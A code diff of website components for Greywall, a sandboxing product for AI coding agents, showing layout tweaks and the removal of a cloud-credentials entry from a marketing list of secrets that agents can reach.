className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${ className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'linux' platform === 'linux'
? 'bg-primary text-primary-foreground shadow-sm' ? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground' : 'text-muted-foreground hover:text-foreground'
@@ -47,7 +47,7 @@ export function PlatformToggle() {
</button> </button>
<button <button
onClick={() => setPlatform('macos')} onClick={() => setPlatform('macos')}
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${ className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'macos' platform === 'macos'
? 'bg-primary text-primary-foreground shadow-sm' ? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground' : 'text-muted-foreground hover:text-foreground'

View File

@@ -1,4 +1,4 @@
import { AlertTriangle, KeyRound, Globe, FolderOpen, FileCode } from 'lucide-react' import { AlertTriangle, KeyRound, FolderOpen, FileCode } from 'lucide-react'
const exposures = [ const exposures = [
{ {
@@ -7,12 +7,6 @@ const exposures = [
label: 'SSH keys', label: 'SSH keys',
desc: 'Private keys, known hosts, agent configs', desc: 'Private keys, known hosts, agent configs',
}, },
{
icon: Globe,
path: '~/.aws/',
label: 'Cloud credentials',
desc: 'AWS tokens, GCP configs, Azure secrets',
},
{ {
icon: FileCode, icon: FileCode,
path: '.env', path: '.env',
@@ -43,12 +37,12 @@ export function Problem() {
</h2> </h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed"> <p className="text-muted-foreground font-serif text-lg leading-relaxed">
AI coding agents run as your user. They see your SSH keys, cloud tokens, env files, and AI coding agents run as your user. They see your SSH keys, cloud tokens, env files, and
entire home directory. The model decides what to access at runtime guided by weights entire home directory. The model decides what to access at runtime, guided by weights
you didn&apos;t train, at machine speed. One wrong inference is all it takes. you didn&apos;t train, at machine speed. One wrong inference is all it takes.
</p> </p>
</div> </div>
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-4"> <div className="grid grid-cols-1 sm:grid-cols-3 gap-4">
{exposures.map((item) => ( {exposures.map((item) => (
<div <div
key={item.path} key={item.path}
@@ -63,7 +57,7 @@ export function Problem() {
<div className="mt-10 p-5 rounded-lg border border-border/30 bg-card/20"> <div className="mt-10 p-5 rounded-lg border border-border/30 bg-card/20">
<p className="text-sm text-muted-foreground font-serif leading-relaxed"> <p className="text-sm text-muted-foreground font-serif leading-relaxed">
<span className="text-foreground font-medium">Most setups rely on promises</span> <span className="text-foreground font-medium">Most setups rely on promises:</span>{' '}
trust the model provider&apos;s policies, trust the application code, trust that the trust the model provider&apos;s policies, trust the application code, trust that the
agent respects boundaries. Greywall replaces trust with enforcement. Constraints are agent respects boundaries. Greywall replaces trust with enforcement. Constraints are
applied at the kernel level, below anything the agent or model can circumvent. applied at the kernel level, below anything the agent or model can circumvent.